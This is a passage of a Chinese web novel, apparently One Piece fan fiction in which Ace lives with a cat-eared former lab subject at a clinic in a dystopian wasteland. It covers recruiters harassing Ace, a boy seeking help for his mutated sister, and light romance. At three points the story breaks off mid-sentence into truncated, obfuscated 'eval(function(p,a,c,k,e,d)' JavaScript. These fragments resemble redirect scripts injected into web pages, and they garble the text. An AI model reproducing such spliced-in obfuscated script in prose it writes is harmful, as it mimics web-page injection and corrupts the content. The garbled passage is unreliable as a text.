她站在那里,微微低着头,纤细的手指紧紧攥着洗得发白的衣角,用力到指节泛白。头顶那双总是敏感转动、表达情绪的猫耳,此刻无力地耷拉着,紧贴发丝。身后那条长长的黑色尾巴,也像是失去了所有活力,沉重地垂落在身后,尾尖甚至沾上了尘土。整个人散发出一种极度难过和正在强忍巨大委屈的气息,仿佛下一秒就要破碎开来。 艾斯脸上的笑容慢慢收敛了,消失了。他不是什么心思细腻、善于察言观色的人,但小狸此刻的模样太过明显,那是一种近乎绝望后的余悸。他联想到自己刚看到她时,她那苍白得毫无血色的脸和红得异常的眼圈,一个念头如同闪电般划过脑海。 他微微弯下腰,凑近她,试图看清她被刘海阴影遮挡住的表情,声音不自觉地放轻了,带着一丝小心翼翼:“小狸……你刚才,是不是……以为我走了?” 小狸身体猛地一僵,依旧不肯抬头,也不肯说话。走了?我以为你死了…… 这句话在她心里疯狂叫嚣,却堵在喉咙里,一个字也说不出来。 艾斯心里划过一丝清晰的歉意,还有一丝……难以言喻的、被人在乎、被人需要着的触动。他放软了声音,带着哄劝的意味:“对不起啊,是我考虑不周。我应该想办法留个消息告诉你的。但是你当时在忙,而且……我只是想给你个惊喜。” 他顿了顿,看着那颗毛茸茸的、写满了难过和委屈的脑袋,语气变得无比认真和郑重,仿佛在立下什么重要的誓言:“小狸,你听我说。如果我找到了回去的方法,我一定会第一时间告诉你,和你商量,绝对不会突然就不告而别的。” 他凝视着她,黑眸中没有任何玩笑或敷衍,只有坦诚和坚定:“我保证。” 小狸依旧没有说话,但紧绷得像石头一样的肩膀,几不可查地微微放松了一些,不再那么僵硬。 艾斯犹豫了一下,看着那双无力垂落的猫耳,然后小心翼翼地、带着十足的试探性,伸出手,轻轻地、带着安抚意味地,放在了她的头顶。 那双敏感的黑色猫耳在他掌心下剧烈地抖动了一下,像是在表达着主人尚未平息的委屈和不满。 但他的手掌温暖而干燥,带着属于他自身的、如同冬日篝火般的令人安心的暖意。抚摸的动作异常轻柔,甚至带着一种奇异的熟练感——毕竟,他可是经常抚摸粘人的柯达兹那毛茸茸的大脑袋。和想象中的一样,小狸的头手感也很好,发丝柔软…… 艾斯的思绪飘远了一瞬,但很快又拉了回来,专注于掌心下这个微微颤抖的小生命。 “这里,”艾斯的声音放得很轻,却带着一种斩钉截铁、令人无法怀疑的力量,“是你在我最糟糕、一无所有的时候,收留了我的地方。是你给了我帮助,给了我一个能安心养伤的地方。我怎么会……连一句认真的道别都没有,就那样消失呢?” 小狸终于慢慢地、一点点地抬起了头。那双蔚蓝色的眼睛此刻水光潋滟,像是蓄满了雨水的湖泊,长长的睫毛上还沾着细小的、未干的泪珠,在周围火把和霓虹的光线下闪烁着微光。她看着艾斯近在咫尺的、无比认真的黑眸,那里面没有丝毫的玩笑、欺骗或敷衍,只有纯粹的坦诚和令人心安的郑重。 她吸了吸鼻子,努力想维持住最后一点生气和矜持的样子,不想让自己显得太没出息,但声音却还是不受控制地带着沙哑的哭腔,泄露了所有真实的情绪:“……我,我才没有担心你。我只是……饿了。” 艾斯愣了一下,看着她明明眼圈通红、却还要嘴硬的样子,随即像是明白了什么,低低地笑了起来。他伸出手指,用指腹非常轻柔地抹掉她眼角将落未落的一滴泪珠,动作自然得像是早就在心中演练过无数次。 “确实是饿了呢,”他的语气带着一点促狭的温柔,“口水都从眼睛里流出来了。那你先回去等我一会好不好?我把这大家伙处理一下,很快就回去。这么大,咱们俩也吃不了,不如分出去一些,换点交易币,之后还能买其他你需要的东西。就算还想吃肉,我也可以再出去……” “不可以!” 小狸几乎是下意识地、带着一种近乎恐慌的急切,打断了他的话,同时伸出手,紧紧地抓住了他的胳膊,力道大得让艾斯都有些意外。 艾斯愣了一下,以为小狸是在介意要把辛苦打来的猎物分给不相干的人,于是耐心地、像哄小孩一样解释道:“小狸,你看,这么大的猎物,就算我们拼命吃,在吃完之前它也会坏掉的,那多浪费啊?不如……” 小狸却用力地摇着头,黑色的长发随之晃动,声音带着不容置疑的坚决: “不可以,不可以再去外面!” 她抬起头,第一次如此直接、甚至带着点执拗地盯紧艾斯的眼睛,那双蓝眼睛里充满了后怕和担忧, “荒漠,很危险……不要,不要再做这么危险的事了。” 艾斯看着她眼中未散的惊惧,听着她话语里毫不掩饰的关切,心脏像是被最柔软的羽毛轻轻拂过,又像是被温暖的泉水包裹,一下子软得一塌糊涂。他放柔了目光,又轻轻摸了摸她柔软的发顶,带着安抚的意味:“好,我知道了。那你先回去等我好不好?我很快处理完就回来。” 小狸抿紧了嘴唇,显然不愿妥协,似乎生怕她一松手,他就会再次从眼前消失。她抓着他衣角的手指没有丝毫放松的意思。 艾斯看着她这副不肯放手的模样,心里叹了口气,却又泛起一丝陌生的、被需要着的暖意和满足感。他只好无奈地笑了笑,放任她像个小尾巴一样跟在自己身后,然后转身,开始和周围那些终于从震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小狸低着头,努力想把眼眶里那股因为美味、因为安心、因为百感交集而不断上涌的酸涩感憋回去,却完全控制不住。一滴滚烫的眼泪毫无预兆地掉进了还剩着肉汁的盘子里,发出轻微的“啪嗒”声,接着是第二滴,第三滴…… 她不想哭的,这太丢脸了。可是,那种害怕被再次独自抛下的、深入骨髓的恐惧,和此刻失而复得的安心与温暖,以及舌尖味蕾传来的、前所未有的幸福滋味,几种极端情绪交织在一起,如同汹涌的浪潮,最终冲垮了她所有的防线,让情绪彻底决堤。 “好吃……”她带着浓重的、无法掩饰的鼻音,小声地、含糊地说,眼泪却像是断了线的珠子,掉得更凶了,几乎连成串滑落。 艾斯放下手里的叉子,看着她低着头、肩膀微微颤抖、默默掉眼泪的样子,心里像是被最细软的针轻轻刺了一下,泛起密密麻麻的酸疼。他没有说什么“别哭了”之类的苍白安慰,只是默默地站起身,走到她身边的椅子坐下。 他只是伸出手,再一次,轻轻地、带着无尽的安抚意味,放在了她柔软的头顶,顺着她乌黑的发丝,一下一下,极富耐心地、温柔地抚摸着。 这一次,小狸没有表现出任何抗拒,甚至连象征性的抖动都没有。 她甚至像是寻求温暖和依靠般,微微向他这边靠了一点点,然后闭上了湿漉漉的眼睛,任由温热的眼泪安静地、肆意地流淌,仿佛要将所有的委屈和后怕都冲刷干净。而她身后那条之前一直因为紧张和恐惧而沉重垂落的黑色长尾巴,此刻却像是终于摆脱了所有束缚,有了自己的意识。它轻轻地、小心翼翼地抬起,然后软软地、带着全然的依赖和信任,轻轻地搭在了艾斯温暖结实的大腿上。 艾斯感受到了腿上传来的、带着体温的温热和轻微的重量,低头看了一眼那截安静搭在自己腿上的、毛茸茸的黑色尾巴尖,它甚至还在无意识地、极其轻微地晃动了一下。他的眼神在那一刻变得更加柔软,如同融化的春日暖阳,手上的抚摸动作也越发轻柔,带着一种近乎珍视的力度。 窗外,不知何时又下起了淅淅沥沥的雨,敲打着诊所薄薄的窗玻璃。屋内,灯光温暖地笼罩着两人,煎肉的香气尚未完全散去,混合着雨后微凉的清新空气。安静的诊所里,只剩下少女极力压抑的、细微而委屈的抽泣声,和少年那虽然笨拙、却充满了温柔与守护意味的、一下下安抚的抚摸。 一个来自异世界、关于“不会不告而别”的承诺,在这一刻,伴随着轻柔的抚摸和腿上传来的温热触感,无声地、深深地烙印在了小狸的心上,如同温暖的阳光,终于驱散了那长久以来盘踞在她心底的、冰冷而孤独的阴霾。 7. 所求之物 “没兴趣,不方便,不要拦着门!” 艾斯高大的身躯堵在诊所那扇不算宽敞的门口,语气带着显而易见的不耐烦。门外,竟乌泱泱地聚拢了十多个看着就绝非善类、肌肉虬结的男人。他们一个个脸上堆着过于热情甚至堪称谄媚的笑容,七嘴八舌,如同众星捧月般簇拥着艾斯,灼热的目光仿佛在看一件稀世珍宝。 小狸则举着一根不知从哪个角落翻出来的、沉甸甸的铁棍,一脸戒备地站在艾斯身后。她全身紧绷,那双黑色的猫耳像雷达一样直直立起,身后的长尾也僵直地悬着,每一根绒毛似乎都处于战备状态,湛蓝的瞳孔缩成一条细线,死死盯着门外那群不速之客,仿佛只要对方稍有异动,她就会立刻炸毛,挥舞着铁棍冲上去。 为了不让这群情绪激动的壮汉挤进本就狭小的诊所,艾斯只好无奈地往外走了几步,将这团嘈杂的“人形风暴”引离了门口。 “小哥!你再考虑考虑!我们‘裂刃’狩猎队待遇绝对是锈带这个!”一个脸上带着狰狞刀疤的男人拍着胸脯,唾沫横飞。 “别听他的!小哥,来我们‘巨像’团!我们团里个个都是能在猎人榜上叫出名号的好手!就缺你这样的顶尖强者坐镇!”另一个光头壮汉不甘示弱地吼道。 “小哥!我们‘新星’团虽然是刚成立的,但保证所有资源都向你倾斜!绝对保证你的安全,全力托举你上位!”一个相对年轻些的也挤上前来,眼神热切。 他们叽叽喳喳,如同几百只鸭子在耳边同时聒噪,吵得艾斯感觉自己的太阳穴都在突突直跳。 “我暂时不考虑加入任何狩猎队。”艾斯揉了揉额角,语气斩钉截铁,“我只是弄点东西自己吃而已。”说完,他转身就准备退回诊所。 几个男人见状,连忙伸手试图挽留,语气带着急迫: “小哥!话不能这么说啊!你有这样的实力,千万不要浪费了老天赏饭吃的天赋啊!” “是啊小哥!你再好好想想!就算今天吃喝不愁,总要为未来打算吧?财富,女人,地位……以你的本事,只要跟我们一起去中心城,这些东西还不是手到擒来?何苦窝在锈带这种垃圾堆里蹉跎人生!” 艾斯脚步一顿,回过头,脸上露出了他那标志性的、爽朗却又带着几分疏离的笑容,他洒脱地摆了摆手: “抱歉啊各位大叔,”他的声音清晰而坚定,“我啊,只要自由自在地过好今天就足够了!” 话音未落,他灵活得像一尾游鱼,几个巧妙的闪身,便轻松穿过了人群的缝隙。一抬头,就看到小狸依旧紧张地守在门口,只探出半个脑袋和一双瞪得圆溜溜、写满担忧的眼睛,手里还死死攥着那根与她体型极不相称的铁棍,一副随时准备冲出来和人拼命的可爱的样子。 艾斯不由得“噗嗤”一声笑了出来,刚才被纠缠的烦躁瞬间消散了大半。 我到底想要什么呢…… 艾斯双手插兜,悠哉地往回走,心里漫无目的地想着。财富?说实在的,他对堆积如山的贝利并没多大兴趣。女人?他的目光不自觉地飘向门口那双清澈得像天空与海洋交汇处的蓝眼睛,心头莫名一跳,一阵没来由的心虚让他下意识地抬手摸了摸自己的鼻子。 自己是为什么出海的呢…… 自由,出人头地,或者只是想要一个答案…… 我的出生,真的是一件好事吗…… 一丝熟悉的、带着海潮般湿冷气息的迷茫刚刚试图缠绕上他,还没来得及沉浸其中,那边的小狸已经“哒哒哒”地小跑了过来。她低着头,怀里抱着那根铁棍,黑色的猫耳随着跑动一颤一颤的。或许是因为太着急,她没刹住车,一头撞在了艾斯坚实的胸口上。 “唔……”她小小地抽了一口冷气,揉了揉撞到的额头,然后立刻抬起头,蓝眼睛里满是急切和未褪的警惕: “艾斯!他们没有为难你吧……你不要怕!我、我也能保护你的!”她挥舞了一下手里的铁棍,似乎完全忘了自己刚才的恐惧,摆出了一副要和外面那些壮汉决一死战的架势。 艾斯失笑,伸手拉住铁棍的另一头,像是牵着一只执拗的小猫,带着她往诊所里走。 “就你这细胳膊细腿,碰破点皮都要眼泪汪汪半天的小哭包,能打得过谁啊?”他的语气里带着毫不掩饰的调侃和宠溺,“走啦,我们回去了。那些大叔……不会再来添乱了。” 最后这句话,他微微侧过头,声音不大,却带着一种冰冷的笃定,清晰地传向身后那些仍有些蠢蠢欲动的狩猎队成员。与此同时,一股无形无质、却沉重如山的威压——霸王色霸气——如同精准的潮汐般倾泻而出,瞬间笼罩了那十几名壮汉。 几人脸上的表情瞬间凝固,瞳孔放大,仿佛看到了什么极其恐怖的事物,身体僵硬得像石头一样。紧接着,如同被砍倒的树木一般,“乒乒乓乓”接二连三地栽倒在地,彻底失去了意识。 小狸听到身后奇怪的动静,好奇地想回头看看:“怎么了?艾斯?” 艾斯却手上微微用力,拉着她快走了几步,没给她回头的机会,直接进了诊所。他顺手接过小狸那根“神圣的”武器,放回墙角杂物堆里,又拿起一块干净的布,仔细地擦掉她小手上沾满的铁锈,语气轻松得像在谈论天气: “没什么,那些大叔可能是太累了,直接在那里休息了。不用管他们,等一阵子睡醒了,自己就会离开的。” 小狸还是有点迷惑,眨了眨蓝眼睛,但出于对艾斯的信任,她似懂非懂地点了点头。危机解除,她放松下来,恢复了平日里的样子,乖巧地趴在了门口的诊台上,等待着可能上门的客人。 不过,似乎是因为早上狩猎队那场夸张的闹剧,一上午都无人光顾,诊所里安静得只剩下窗外偶尔传来的机械噪音。 小狸百无聊赖地打了个哈欠,阳光透过窗户照在身上,暖洋洋的。她索性变回通体漆黑的小猫形态,悠闲地趴在门口能晒到太阳的地方,一下一下,认真地舔着自己的爪子,像个安静的、毛茸茸的招财猫吉祥物。 在锈带这种地方,活的动物几乎是天方夜谭,连最顽强的老鼠都会被饥饿的人们抓住果腹。因此,偶尔有被父母牵着走过的小孩,会惊奇地指向她,胆子大点的甚至会扯着父母的衣角要求过来看看。但无一例外,他们都会被大人用警惕或愤怒的眼神瞪视,然后低声斥责着,匆匆拉走。 小狸对此早已习惯,并不在意。昨天艾斯带回来的那只变异兽,确实让他们实现了短暂的“财富自由”。它的皮毛、血肉、内脏乃至坚硬的骨头都被精心分割,换来了厚厚一叠令人安心的交易币。赚钱的压力不再那么紧迫后,小猫贪图安逸、容易满足的天性又开始冒头,让她心安理得地享受着这难得的悠闲时光,眯着眼睛,晒着太阳,等着艾斯去邻居家取回午餐,然后喊她一起吃饭。 就在她昏昏欲睡之际,一个怯怯的、带着颤抖的小男孩声音,在她面前小心翼翼地响起: “那个……你好,请问……是猫医生吗?” 小狸懒洋洋地抬了抬眼皮,循声望去。 只见一个衣衫褴褛、浑身布满新旧交叠伤痕的小男孩,正局促不安地站在诊所门前,脏兮兮的小脸上,一双眼睛里盛满了恐惧与一丝微弱的希冀。 男孩的特征太过显眼,以至于小狸一眼就注意到他那双异于常人、呈现出近乎完全偶蹄目形态的、弯曲而畸形的双腿,脚掌更是类似蹄子的结构。是实验品呢…… 小狸在心里无声地叹了一口气,一丝细微却清晰的怜悯,如同投入死水中的石子,在她沉寂的心湖里漾开微弱的涟漪。 男孩枯瘦的手里,紧紧攥着一根锈迹斑斑、看起来颇为沉重的铁链。铁链的另一端,系着一个比他还要矮小瘦弱些的女孩子。那小女孩同样衣衫褴褛,几乎衣不蔽体,最令人心惊的是她的状态——她四肢着地,如同真正的野兽般匍匐,一双眼睛是不正常的赤红色,里面只剩下纯粹的野性与疯狂。她的下半张脸骨骼扭曲,吻部突出,嘴角撕裂般大开,露出满口参差锋利的牙齿,正不停地对着空气发出“嗬嗬”的、充满威胁的低吼。她的手掌和膝盖因长期爬行,布满了反复磨破又愈合形成的厚厚疤痕,此刻,那双已不成人形的手指正烦躁不安地抠抓着地面,在男孩脚边焦躁地来回徘徊,像一头被束缚的困兽。 男孩局促地、带着歉意用力扯了扯铁链,试图让女孩子安静下来。铁链另一端连接着一个带着尖刺的项圈,这一扯,项圈上的金属刺立刻扎进了女孩敏感的脖颈皮肤。女孩吃痛,发出一声如同受伤小兽般的、尖锐的呜咽。 刚刚从邻居家取回午餐、走到门口的艾斯,恰好将这一幕尽收眼底。看到女童被铁链束缚、被尖刺所伤,他下意识地以为是在虐待孩童,眉头瞬间拧紧,周身气息一沉,几乎就要上前制止。 “艾斯!等等!”小狸连忙出声,同时伸手拉住了他的胳膊。 而几乎在同一时间,那原本对着空气低吼的女孩,仿佛感受到了艾斯对男孩瞬间释放出的敌意,她猛地转过头,赤红的双眼死死锁定艾斯,不顾脖颈被项圈尖刺划出更深的血痕,冲着艾斯爆发出更加狂暴的吼叫,身体猛地前冲,獠牙毕露,试图扑过去撕咬! 男孩吓得脸色惨白,用尽全身力气,双手死死攥紧铁链,身体后仰,才勉强将那陷入狂躁的女孩拉扯住。他泪流满面,看着艾斯和小狸,只是一个劲地、语无伦次地道歉: “对不起!对不起!我们没有恶意!我、我听说这里有个……实验品医生……我以为是可以治疗实验品的意思,不知道是你也是……其他的医生都不愿意帮我们……拜托你,求求你,救救我妹妹!对不起……真的对不起……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男孩目光中那最后一点如同风中残烛般的希冀,彻底破碎了,熄灭成一片死灰。他嘴唇哆嗦着,局促地向前挪了半步,似乎还想做最后的挣扎:“万一……万一有什么办法……” “没有万一。”小狸轻轻地叹了口气,那叹息声轻得像羽毛落地,却带着千钧重量。她似乎觉得自己接下来要说的话过于残忍,下意识地咬住了下唇,但最终还是抬起那双过于平静的蓝眼睛,淡淡地开口: “我建议你,离开她。” 她停顿了一下,仿佛在积蓄说出更残酷话语的勇气:甚至……处理掉她。 “处理”这个词太过冰冷,太过决绝,后面半句被小狸死死吞在了喉咙里,根本无法对着男孩那双瞬间失去所有光彩的眼睛说出口。 但其实,小狸看着男孩那先是茫然、继而涌上巨大痛苦的眼神就明白——他懂的。他早就明白这个结局,只是不愿接受,不敢面对罢了。 “你妹妹,”小狸移开视线,不忍再看他的表情,声音干涩地继续,“迟早有一天,会连你也彻底忘记,完全变成一只……只是长着人类特征的野兽。她会攻击任何接近的生物,包括你。真的到了那个时候,根本不是一根铁链可以束缚得住的。”她顿了顿,声音里终于带上了一丝极微弱的、几乎难以察觉的颤抖,“连你自己……也会有生命危险。所以你还是……” 小狸欲言又止,后面劝他“放手”的话,终究是没能说完。 男孩却仿佛被抽走了所有的灵魂和力气,整个人肉眼可见地萎靡、落寞下来,像是骤然枯萎的植物。他低着头,脏兮兮的小手紧紧攥着那根冰冷的铁链,指节泛白。 “对……对不起……打扰你了……”他的声音轻得像呓语,带着浓重的鼻音。 男孩并没有直接回应小狸那些关于“离开”或“处理”的建议,只是倔强地憋着嘴,泪水在通红的眼眶里拼命打转,却强忍着没有掉下来。 “她是我唯一的家人了” 言外之意不言而喻,他绝对不会抛弃她 他蹲下身,不顾女孩身上污秽和那依旧存在的攻击性,小心翼翼地、用一种近乎虔诚的姿态,将躁动不安的妹妹轻轻抱在怀里。令人惊异的是,那原本低吼不断、试图挣扎的女孩,在被他抱住后,竟像是得到了某种神秘的抚慰,渐渐安静了下来。她赤红的眼睛缓缓闭上,喉咙里发出类似猫科动物满足时的、细微而温顺的“咕噜”声,暂时收敛了所有利爪与獠牙,蜷缩在哥哥单薄的怀抱里。 “对不起,医生……给你们添麻烦了。”男孩抬起头,努力对艾斯和小狸挤出一个比哭还难看的、扭曲的笑容。他重新牵起那根沉重的铁链,声音轻得仿佛随时会碎掉: “妹妹,我们……走吧。” 他拉着铁链,女孩顺从地,或者说,暂时恢复了片刻安宁地跟在他身后。两个小小的、依偎在一起的、被世界遗弃的身影,拖着那根象征着束缚与无奈的铁链,一步一步,缓慢而艰难地,消失在小狸和艾斯复杂的视线尽头,融入了锈带那无边无际的、灰暗的背景色之中。 8. 小事 经历了午前那对兄妹的事,小狸的情绪难免有些低落,如同蒙上了一层薄薄的灰尘。但她似乎早已习惯了这个世界加诸于同类身上的悲剧,这份低落尚在可控范围内。此刻,她正坐在桌边,认真地、小口小口地咀嚼着在她认知里堪称顶级美味的肉排,试图用食物的温暖驱散心底那点寒意。 反而是艾斯有些心不在焉。他面前那份香气扑鼻的食物基本没动,眉头微微蹙着,目光几次落在小狸身上,欲言又止,一副心事重重的样子。 小狸嘴里塞得鼓鼓囊囊,像只储存食物的小仓鼠,含糊不清地询问:“肿么了?” 艾斯看着她纯粹得不含一丝阴霾的蓝眼睛,心里有点慌,但犹豫再三,还是把盘旋在心头的问题问出了口:“小狸,你……你也…会得那种……基因病么?” 他的声音里带着自己都未察觉的紧张。 看着他眼中毫不掩饰的担忧,小狸却没什么太大反应,仿佛被问及的只是明天的天气。她咽下嘴里的食物,语气平淡得像在陈述一个与己无关的事实: “不知道呀。在大规模基因稳定性检测开始之前,我们那个实验室就被查封了。” 她甚至反过来安慰般捏了捏自己最近因为伙食改善而终于长了点软肉的胳膊,很知足地笑了笑,带着点小骄傲,“不过我觉得我还蛮健康的?你看,我最近还胖了点呢!” 她重新低下头,专注于盘中的美味,发出满足的呜咽,“呜,好好吃……” 艾斯却并未被她的轻松所感染,反而更加忧心忡忡:“难道就没有办法预防,或者……做点什么避免一下吗?” “我觉得没关系吧?” 小狸抬起头,眼神里是一种近乎天真的豁达,或者说,是早已对命运低头后的麻木,“很多人……根本活不到发病的时候呢。” 她顿了顿,继续用那种让人心疼的语气补充,“而且47系之后的序列都加了基因锁,很少会出现那种完全兽化的状态了。就算真的发病……大概率也是基因链突然断裂,‘啪’一下,就死掉了,很快的……” 她说得越是轻描淡写,艾斯的眉头就皱得越紧。他再一次真切地、直观地体会到了“实验品”这三个字背后所代表的冰冷含义——不仅是非人的对待,更是连自身存在都被视为不稳定产品的、深入骨髓的绝望。虽然有些时候,他觉得连自己的生命都无足轻重,但一想到眼前这个会笑、会闹、会因为吃到好吃的东西而眼睛发亮的少女,未来某一天可能会这样悄无声息地、突然地消逝,心脏就像被最细密的针扎了一下,传来一阵尖锐的刺痛。 看着艾斯越发沉重、几乎要凝出水的脸色,小狸眨了眨眼,小心翼翼地伸出手,轻轻拍了拍他的肩膀,动作里充满了笨拙却真诚的安抚意味。 “真的没事的。”她放软了声音,像是在分享一个好消息,“虽然没有经过大规模测试,但是52系的口碑一直很稳定的。而且……”她微微挺起胸脯,像是在展示什么了不起的事情,“我的基因融合度有98%哦!几乎就是理论上的‘完成品’了!” 为了让自己的话更有说服力,她甚至“噗”地一下变回了通体漆黑的小猫形态,轻盈地跳上桌子,主动用自己的小脑袋一下下地拱着艾斯略显僵硬的手,喉咙里发出讨好而舒适的“呼噜”声,一副“你看我多可爱多健康,别再焦虑了,快摸摸我”的样子。 艾斯看着她这副努力安慰自己的模样,心里又是好笑又是酸涩。他无奈地叹了口气,顺从地伸出手,轻轻抚摸着她毛茸茸的小脑袋和柔软的耳后。听着掌下传来愈发响亮的、代表满足的呼噜声,他心中涌起一股无力感。 对这只命运多舛、却依然努力在缝隙中寻找阳光的小猫,自己又能做些什么呢?他甚至不属于这个世界,只是一个意外的闯入者,总有一天要离开。 ……还是,先过好眼前的每一天吧。 想通了这一点,那份沉重的无力感似乎稍微减轻了一些。艾斯甩甩头,重新拿起餐具,开始大口享用自己那份已经微凉、但依然美味的午餐。 “唔!真好吃啊……”他由衷地感叹道。 …… “艾斯!!!你怎么又突然睡着了呀!!!汤汁蹭到我身上啦!” 下一秒,小狸气急败坏的惊呼声就在诊所里响了起来。 下午的时光也依然清闲,没有病人上门。小狸像只慵懒的猫,整个上半身都趴在了柜台上。艾斯就和她并排趴着,两人像两只需要晾晒的咸鱼。 有点无聊的小狸,歪头看着艾斯正拿着一把小刀,专注地削着一块不知从哪里找来的木头。木屑如同细雪般,簌簌落在柜台上。 “你在做什么呀?”她好奇地问,顺便鼓起腮帮子,调皮地吹了一口气,把落在眼前的木屑吹得打着旋儿飘落到地上。 艾斯对着窗外透进来的光,仔细端详着手里的木雕——那上面,两只尖尖的、猫耳般的轮廓已经初步成型。他故意将木雕藏进掌心,神秘地笑了笑: “秘密。” “唉——?”小狸立刻发出了长长的、带着不满和好奇的拖音。她两只手托住下巴,艾斯越是不让看,小猫那颗好奇心就越是被勾得痒痒的。蓝色的眼珠滴溜溜地转着,身体开始不着痕迹地往后缩了缩,摆出了猫科动物准备突袭前的标准姿态,试图找机会把那个“秘密”抢过来看个究竟。 艾斯当然注意到了她那一系列自以为隐蔽的“猫猫祟祟”的小动作。他装作毫无察觉,心里却暗自好笑,甚至偷偷勾起了唇角。他故意让了让身,卖了个破绽,让小狸以为自己更容易得手。 小狸甩了甩尾巴,看准时机,猛地探身伸手去抢艾斯手里的木雕! 艾斯反应极快,一个灵巧的侧身,手里的小刀甚至还悠闲地转了个漂亮的刀花,巧妙地改变了刀刃朝向,确保不会误伤到她,轻松地让小狸扑了个空。 一击不成,小狸毫不气馁,腰肢以一个常人难以想象的角度猛地一拧——猫的极致柔韧度让她做出了一个极其刁钻的二次突袭,再次抓向艾斯的手! 艾斯眼中闪过一丝惊讶,没想到她能做出这样的动作,但他依旧游刃有余。他只是向后微微一仰,轻松避开。为了让游戏更有趣,他甚至玩心大起,故意在闪避后又拉近了细微的距离,将将好躲开她的指尖,让小狸的指尖几乎是擦着他的手背抓了个空,能感受到那带起的微风。 “哼!”小狸不服气地一跺脚,身后那条黑色的长尾如同拥有自主意识的鞭子,快如闪电般甩出,精准地缠绕在艾斯的手腕上,然后用力向下一拉!同时,她另一只手再次疾速探出,去够他紧握的拳头! 还怪能干的嘛。艾斯眼里掠过赞赏的笑意,但是,没用呢。 毕竟,你的对手可是我啊。 他嘴角勾起一抹略带恶劣的、戏谑的笑容,被缠住的手腕只是看似随意地轻轻一旋一抖,那缠绕的尾巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小狸立刻以为自己弄疼了他或者压到了他的伤口,瞬间慌了神,所有的得意都化为了尴尬和歉意。她手忙脚乱地从他身上爬起来,小脸涨得通红,也不好意思再去惦记他手里的木雕了,觉得自己理亏,眼神四处飘忽,就是不敢看他,嘟着嘴小声嗫嚅: “不、不看就不看嘛……我,我去扫地了……” 说完,她像只做了错事被发现的猫咪,背着耳朵,几乎是同手同脚地迅速溜去了诊所的角落,拿起扫帚,开始假装非常认真地打扫那些根本不存在的灰尘。 而艾斯,还维持着被扑倒的姿势,直挺挺地躺在地上,仿佛灵魂出窍。他的脸颊,以肉眼可见的速度,迅速爬满了滚烫的红晕,一直蔓延到耳根。那双总是燃烧着火焰般活力的黑眸里,此刻只剩下巨大的、未曾平息的震惊,以及一种连他自己都无法理解的、陌生的悸动。 刚才那一瞬间的触感——少女柔软身体的重量、隔着布料传来的温热体温、近在咫尺的呼吸、还有那双放大到几乎占据他全部视野的、因得意而闪闪发光的蓝眼睛……所有的一切,都像一场突如其来的风暴,在他脑海里轰然炸开,搅得他心慌意乱,心脏失控般地在胸腔里狂跳,擂鼓一样响亮。 “……” 他猛地抬起手,一把抓过滚落在一旁的橙色牛仔帽,几乎是有些狼狈地、用力地扣在了自己脸上,将那份无法掩饰的羞赧,和那说不清、道不明、却猛烈冲击着他所有感官的混乱心情,彻底掩藏在了那熟悉的、带着他自身气息的帽檐阴影之下。 只剩下通红的耳朵尖,暴露在空气中,无声地诉说着主人并不平静的内心。 9. 雨和苗 狩猎队的猎头们没有轻易放弃艾斯这样实力强悍的年轻人。他们像嗅到机遇的投机分子,日夜在诊所附近徘徊。人一多,纷争便成了必然,大大小小的摩擦很快升级为流血事件。于是,最近几天诊所的常客,反而变成了这些五大三粗、身上总带着新鲜伤口的男人们。 小狸起初坚决不让这些人进门,猫耳警惕地竖起,试图用冷漠筑起防线。然而,这群在刀口舔血的家伙很快发现了“漏洞”——只要身上带点伤,再乖乖付钱,就能名正言顺地挤进诊所,一边处理伤口,一边混个脸熟,甚至能和倚在门框上的艾斯搭上几句话。 这一发现让事态迅速失控。他们甚至开始荒谬地攀比谁的伤更惨烈。越来越多满身是血却带着诡异得意笑容的人挤进狭小的诊所,空气里弥漫的血腥味几乎盖过消毒水。更离谱的是,有人找不到对手,干脆利落地给自己来上一刀,然后昂首挺胸地走进来“求治”。 小狸天天忙得脚不沾地,连趴在门口晒太阳舔爪子的闲暇都被剥夺。再好的脾气也气得炸毛,全身绒毛立起,尾巴硬得像铁棍。可气归气,当真切的伤口摆在面前时,她又无法狠心视而不见。于是,怒火全发泄在操作上——清创时棉签摁得死紧,缝合时力道恨不得勒穿皮肉。 “嗷——!!!” 诊所里惨叫连连。 可即便疼得龇牙咧嘴,这些家伙还不忘互相嘲讽: “嘶……你这混蛋……叫得真难听……” “哈!你刚才差点从椅子上跳起来!” “放屁!老子是条件反射!倒是你,被个小姑娘扎几针就嚎,软蛋!” “你说谁是软蛋?!” 小狸面无表情地看着他们边治疗边斗嘴,额角青筋直跳。手下缝合的力道又不自觉加重几分,换来更凄厉的惨叫。 艾斯无奈地靠在墙边,看着心软的小猫被这群“蝗虫”折腾得筋疲力尽,又是心疼又是好笑。他几次出面,像驱赶苍蝇般把捣乱的家伙轰出去。 但一旦出了名,想回归宁静谈何容易?这场闹剧持续了近一周,直到猎头们彻底认清——无论苦肉计、利诱还是死缠烂打,那个黑发青年都像脚下生根,眼神里除了不耐烦,没有一丝动摇。 最终,在人群散去前,艾斯站在诊所门口,用爽朗却坚定的声音划下界限: “我说过了,我不会加入你们任何一方。以后也别再用这种蠢办法浪费时间了。” 话语如同最终判决,带着无形的力量,让躁动的猎头们悻悻散去。 诊所终于重归宁静。 小狸望着窗外又阴下来的天色,淅淅沥沥下着小雨。她其实并不清楚锈带的天气规律,但有印象以来雨总是断断续续。偶尔听邻居抱怨,也说今年雨水格外多。 因近日清闲,小狸抽空修好了诊所那台老旧电视。虽然没什么节目,此时屏幕里正播放着锈带新闻。主持人毫无激情,敷衍地看着提词器,语调平板地提醒居民注意强降雨,保护人身和住所安全,勿引发混乱,遭遇危险请原地等待救援,切勿接近中心城。 小狸根本没放在心上。会有救援才怪。她嗤之以鼻,“不要接近中心城”才是关键吧?那些“城里人”只是不想被走投无路的“下等人”沾染罢了。 